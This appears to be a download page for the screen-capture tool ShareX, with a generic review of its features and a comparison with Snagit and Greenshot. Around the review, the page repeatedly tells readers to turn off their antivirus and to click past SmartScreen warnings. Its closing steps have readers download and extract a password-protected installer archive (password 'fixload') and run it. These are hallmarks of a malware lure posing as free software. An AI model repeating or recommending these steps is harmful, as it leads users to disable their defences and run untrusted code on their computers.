ShareX: Step-by-Step Guide
Before installing the program, be sure to temporarily disable your antivirus!
This is necessary for the installation file to work correctly – the antivirus may mistakenly block the launch or delete parts of the program. After installation, do not forget to turn the protection back on.
ShareX is the Swiss Army knife of screenshot and screen recording tools — and it’s free, open source, and ridiculously customizable. Whether you’re documenting bugs, capturing memes, or creating tutorials, ShareX probably has a workflow for it. Here’s how to install it, what it can do, and what it’s like using it daily.
How to Unpack/Install
- Download the .exe installer
- Launch it and follow the steps (next-next-done style)
- Choose if it should run at startup — optional but handy
Possible Errors During Installation
- Installer blocked: Use “Run as administrator”
- SmartScreen warning: Click “More info” > “Run anyway”
- Missing .NET: Update Windows components if prompted
How to Verify It Installed Properly
If ShareX launches and you see the sidebar with Capture, Upload, Tools, and Workflows — you’re good. Try pressing Print Screen to take your first capture.
What ShareX Does
ShareX is way more than screenshots:
- Full-screen, region, scrolling window captures
- Screen recording (GIF or video)
- Text capture via OCR
- Built-in image editor and annotation
- Custom workflows with hotkeys and automation
- Auto-upload to Imgur, Dropbox, Google Drive, etc.
It’s like a productivity toolkit disguised as a screenshot app.
My Personal Experience
I’ve used ShareX for everything from reporting bugs at work to making GIFs for documentation. It replaces several apps in one — no more juggling screenshot apps, editors, and uploaders.
The best part? Hotkey + region selection + auto-upload + copy URL = done in 2 seconds. That said, the interface can feel overwhelming for new users, and some settings are buried deep.
Here’s what stood out:
- Insanely fast screen captures
- Workflow automation saves serious time
- UI could use some decluttering
Comparison with Alternatives
| Tool | Pros | Cons |
|---|---|---|
| ShareX | Feature-packed, scriptable, open-source | Steep learning curve |
| Snagit | Sleek UI, good editing tools | Paid license, fewer automation options |
| Greenshot | Simple and lightweight | Fewer features, no video recording |
FAQ
Conclusion
ShareX is one of those tools you install “just to try it” and then wonder how you ever worked without it. It’s not beginner-friendly, but it is insanely powerful. If you want control, automation, and endless options — this one’s for you.
Your antivirus may block or interfere with the installation process.
Please make sure to disable it temporarily before continuing.
Step 1: Download the archive using the button below.
Step 2: Extract the downloaded archive.
Step 3: Extract the installer archive (Password: fixload)
Step 4: Run the installer and follow the on-screen instructions to install the program on your computer.
